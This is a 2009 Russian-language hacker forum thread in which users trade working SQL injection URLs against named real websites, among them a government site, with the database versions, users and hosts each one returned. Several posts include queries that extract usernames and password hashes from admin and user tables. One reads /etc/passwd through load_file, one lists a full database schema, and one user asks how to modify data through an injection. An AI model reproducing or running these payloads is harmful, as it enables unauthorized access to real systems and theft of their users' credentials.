
12.07.2009, 02:17
|
|
Познающий
Регистрация: 09.02.2009
Сообщений: 70
С нами:
9078977
Репутация:
34
|
|
http://www.baltimorebrass.net/index.php?cat=5+UNION+SELECT+1,2,3,4,CONCAT(Versio n(),Database(),User()),6,7--
67-communitybaltim4_websitebaltim4_wsclient@localhost
|
|
|

12.07.2009, 10:19
|
|
Участник форума
Регистрация: 01.03.2008
Сообщений: 149
С нами:
9576027
Репутация:
173
|
|
Код:
http://www.n-rabota.ru/resume/post.php?id=1+union+select+1,2,version(),4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41--
Database Version: 5.0.81
Database name: n-rabota
User name: n-rabota@localhost
|
|
|

12.07.2009, 11:32
|
|
Познающий
Регистрация: 07.04.2009
Сообщений: 40
С нами:
8997763
Репутация:
103
|
|
http://www.winnersport.ru/main.php?s=catalog&id=-627+union+select+1,2,concat_ws(0x3a,database(),ver sion(),user()),4,5,6,7,8--
http://www.oil.se/article.php?sub=0§ion=6&id=-35+union+select+1,2,3,4,5,concat_ws(0x3a,database( ),version(),user()),7,8,9--
http://znamiarodiny.artmiem.ru/main.php?id=15+union+select+1,2,concat_ws(0x3a,dat abase(),version(),user()),4,5,6--
http://www.librasdeamor.org/help.php?IdPage=-15+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,datab ase(),version(),user()),9,10,11--
http://www.thakornkit.com/new.php?id=-1+union+select+1,2,concat_ws(0x3a,database(),versi on(),user())--
вывод в тег img
Последний раз редактировалось jokester; 12.07.2009 в 12:26..
Причина: blackwood.ru БОЯН
|
|
|

12.07.2009, 21:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
http://www.ibnlokmat.tv/gallery.php?id=1&conid=-57082+union+select+1,2,concat_ws(0x3a,version(),us er(),database()),4,5,6,7--
5.0.27-standard-log:lokmat@172.29.11.1:ibnlokmat
####################################
http://wcha.tv/live.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),databa se(),user()),4,5,6,7,8,9--
5.0.22-Debian_0ubuntu6.06.10-log:site_wcha_tv:wcha@64.73.77.67
####################################
http://www.tv-portal.ru/index.php?kanal=-339+union+select+1,2,concat_Ws(0x3a,database(),use r(),version()),4,5,6,7,8,9,10,11&stat-id=1
db_kokos32_2:dbu_kokos32_1@192.168.7.9:4.1.22
####################################
http://laurabenjamin.tv/video.php?id=1§ion=1+union+select+1,concat_ws( 0x3a,user(),database(),version()),3,4,5--
LBTV@208.109.181.196:LBTV:4.1.22-max-log
####################################
PR: 5
http://www.fabawards.tv/view-fabawards-2009show.php?id=1'+union+select+1,concat_ws(0x3a,u ser(),database(),version()),3+from+mysql.user+--+
All_DB_Admin@localhost:fabawards:5.0.83-rs
вывод в пути картинки..есть mysql.user...путь так и не нашел (((
####################################
http://www.na.owns.tv/index.php?page=userprofile&id=-1'+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26,27,28+/*+
naownstv@localhost:naownstv-web:4.1.20
####################################
http://www.tv-live.ro/radio-live.php?id=-1+UnIoN+SeLeCT+concat_ws(0x3a,user(),database(),ve rsion()),2,3,4,5,6--
tvlive@localhost:tvlive_db:5.0.67-community.jpg
####################################
http://ua.tv-mis.com/titul.php?id=1+and+substring(version(),1,1)=5--
####################################
PR 3
http://www.supplyanddemand.tv/show_news.php?id=-1+union+select+1,2,concat_Ws(0x3a,database(),user( ),version()),4--
supplyd:supplyd@localhost:4.0.25
####################################
http://www.vehiclegraphics.tv/view.php?id=1'+and+substring(version(),1,1)=5+/*+
####################################
http://www.lancs.tv/index.php?PHPSESSID=urewmdaiezvwdmn&p=page&id=-1+union+select+1,2,concat_Ws(0x3a,user(),database( ),version())--
lccc-root@localhost:lancstv:5.0.51b-log
####################################
http://www.famicomdojo.tv/subscription.php?id=1+union+select+1,2,3,4,5,6,7,8 ,concat_Ws(0x3a,user(),database(),version()),10,11 ,12,13,14,15,16,17--
tfboogaloo@logic:FamicomDojo:5.0.37-standard
Последний раз редактировалось HAXTA4OK; 12.07.2009 в 22:42..
|
|
|

12.07.2009, 22:43
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
http://www.catan.ro/index.php?pagina=stire&id=-43+UNION+SELECT+1,2,concat_ws(0x3a,version(),datab ase(),user(),@@version_compile_os),4
Database Version: 4.1.22-standard-log
Database name: catanro_catan
User name: catanro_catan@localhost
Os : pc-linux-gnu
|
|
|

12.07.2009, 23:13
|
|
Познающий
Регистрация: 03.02.2009
Сообщений: 32
С нами:
9088878
Репутация:
18
|
|
1)ребята подскажите какую нибудь прогу сканнер sql, чтобы ссама бегала по сайту подставляя ковычки в переменные в поисках мускл ошибок.
2) И ещё оч прошу покажите на примере урла как правильно заюзать в update
Изменить значений переменных в базу с sql inj запроса.
Спасиб большое.
|
|
|

13.07.2009, 00:02
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами:
9428066
Репутация:
1668
|
|
mssql
[PR 5]
Код:
http://www.coveredbridges.com/events/annualEvents.asp?id=1+or+1=@@version--
Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
====================================
[PR 4]
Код:
http://www.anconia.com/support/faq.asp?id=1218+or+1=@@version--
Microsoft SQL Server 2005 - 9.00.4207.00 (Intel X86) Dec 17 2008 14:34:38 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
====================================
====================================
[PR 6]
Код:
http://www.juristenverband.at/kalender.php?id=-137+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12
4.0.21:juristenverband:root@localhost
Код:
http://www.juristenverband.at/kalender.php?id=-137+union+select+1,2,3,4,5,concat_ws(0x3a,user,password,file_priv),7,8,9,10,11,12+from+mysql.user
====================================
[PR 3]
Код:
http://www.werkensepolder.nl/kalender.php?id=-24+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7
4.0.15:werkense:werkense@localhost
====================================
[PR 2]
Код:
http://www.beitstadfjordmc.no/applic/kalender.php?id=-21+union+select+concat_ws(0x3a,version(),database(),user())
5.0.32-Debian_7etch10-log:beitstadfjordmc:beitstadfjordmc@srv85.one.com
====================================
[PR 2]
Код:
http://www.svenarum.nu/kalender.php?id=-1011+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9
5.0.27:svenarum_nu:svenarum.nu@localhost
====================================
[PR 1]
Код:
http://www.judyreynolds.com/en/kalender.php?id=-3+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13
5.0.32-Debian_7etch10-log:db1073307-judy:dbu1073307@localhost
Код:
http://www.judyreynolds.com/en/kalender.php?id=-3+union+select+1,2,3,4,concat_ws(0x3a,id,name,pass,admin),6,7,8,9,10,11,12,13+from+user
====================================
[PR 1]
Код:
http://www.vvvolkegem.be/kalender.php?ID=-11+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10--
4.1.22-standard:voevol06_volkegem:voevol06_43sj29a@localhost
====================================
[PR 0]
Код:
http://www.donkerewolk.net/kalender.php?id=-22+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5
5.0.37-standard:tarsforier_wolk:tarsforier_tf@localhost
Код:
http://www.donkerewolk.net/kalender.php?id=-22+union+select+1,2,concat_ws(0x3a,user_id,username,userpass),4,5+from+poll_user
====================================
[PR 0]
Код:
http://www.h-lebt.de/kalender.php?id=9999999999+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16--&month=6
5.0.32-Debian_7etch5-log:usr_web0_1:web0@localhost
Код:
http://www.h-lebt.de/kalender.php?id=9999999999+union+select+1,2,3,4,5,concat_ws(0x3a,username,password),7,8,9,10,11,12,13,14,15,16+from+be_users--&month=6
|
|
|

13.07.2009, 00:47
|
|
Участник форума
Регистрация: 01.03.2008
Сообщений: 149
С нами:
9576027
Репутация:
173
|
|
Код:
http://provympel.ru/index3.php?id=56+union+select+1,version(),3,4--
Database Version: 5.0.81-community
Database name: magics_complex
User name: magics_tester@localhost
|
|
|

13.07.2009, 07:40
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами:
10892546
Репутация:
2274
|
|
giant.md
Это кагбе самые крутые лесапеды в молдове
Код:
http://www.giant.md/news.php?id=-17%20UNION%20SELECT%20CONCAT_WS(0x3a,DATABASE(),USER(),VERSION()),2,3,4--
Код:
13404:13404@localhost:5.0.77
таблы (колонки)
Код:
cat_velo (id, category, type, year, razmer_rami, rama, vilka, z_perecl, p_perecl, manetki, shatuni, pedali, ruli, vinos, rulevaia_kolonka, ru4ki_tormoza, p_tormoz, z_tormoz, sedlo, podsedelinii_shtir, oboda, p_vtulka, z_vtulka, pokrishki, spitsi, karetka, tsepi, kasseta, kolvo_skorostei, exact_name, color, picture, description, price)
categories (id, name, text, picture, big_text, big_picture, width, type)
contact (id, name, email, topic, msg)
fish_config (id, name, value, description, code)
fish_feedback (id, name, email, msg, dat)
fish_labels (id, param, value, code)
fish_language (id, value, language)
fish_news (id, title, text, picture, active, dat, code)
fish_photoalbum (id, title_en, descr_en, title_md, descr_md, title_ru, descr_ru, folder, active)
fish_sections (id, value, name_en, name_ru, name_md, active)
fish_service (id, title, text, picture, price, dat, code, active)
fish_tips (id, text, picture, dat, code, active)
guest (id_msg, name, city, email, url, msg, answer, puttime, hide)
news (id, title, picture, preview, text, date, time)
pro_accessories (id, category, name, art_no, picture, price, descr)
proposals (id, title, picture, descr, date, active)
secret_agents (id, login, password)
service (id, name, value)
shimano_parts (id, category, name, art_no, picture, price, descr, bike_type, ride_type)
silver_djs (id, name, photo_small, photo_big, bday, contacts, about)
silver_news (id, title, pic_small, pic_big, preview, text, date, time)
silver_posters (id, title, text, from_date, to_date, added)
silver_progs (id, title, descr, djs)
silver_schedule (id, id_prog, weekday, begin, end)
stat_global (id, razdel, visits, month)
stat_razdel (id, id_user, razdel, dat)
stat_users (id, ip, sid, dat)
wp_comments (comment_ID, comment_post_ID, comment_author, comment_author_email, comment_author_url, comment_author_IP, comment_date, comment_date_gmt, comment_content, comment_karma, comment_approved, comment_agent, comment_type, comment_parent, user_id)
wp_links (link_id, link_url, link_name, link_image, link_target, link_category, link_description, link_visible, link_owner, link_rating, link_updated, link_rel, link_notes, link_rss)
wp_options (option_id, blog_id, option_name, option_value, autoload)
wp_postmeta (meta_id, post_id, meta_key, meta_value)
wp_posts (ID, post_author, post_date, post_date_gmt, post_content, post_title, post_category, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping, pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type, post_mime_type, comment_count)
wp_term_relationships (object_id, term_taxonomy_id, term_order)
wp_term_taxonomy (term_taxonomy_id, term_id, taxonomy, description, parent, count)
wp_terms (term_id, name, slug, term_group)
wp_usermeta (umeta_id, user_id, meta_key, meta_value)
wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name)
Последний раз редактировалось Ponchik; 13.07.2009 в 07:45..
|
|
|

13.07.2009, 13:57
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
С нами:
10339586
Репутация:
1396
|
|
гаф
http://www.vidol.gov/dol_news_detail.php?detail_id=38'+union+select+1,l oad_file('/etc/passwd'),3,4+limit+1,1/*
жаль,что мускуль на другом хосте..=)
version 5.0.45-log
Последний раз редактировалось $n@ke; 13.07.2009 в 13:59..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|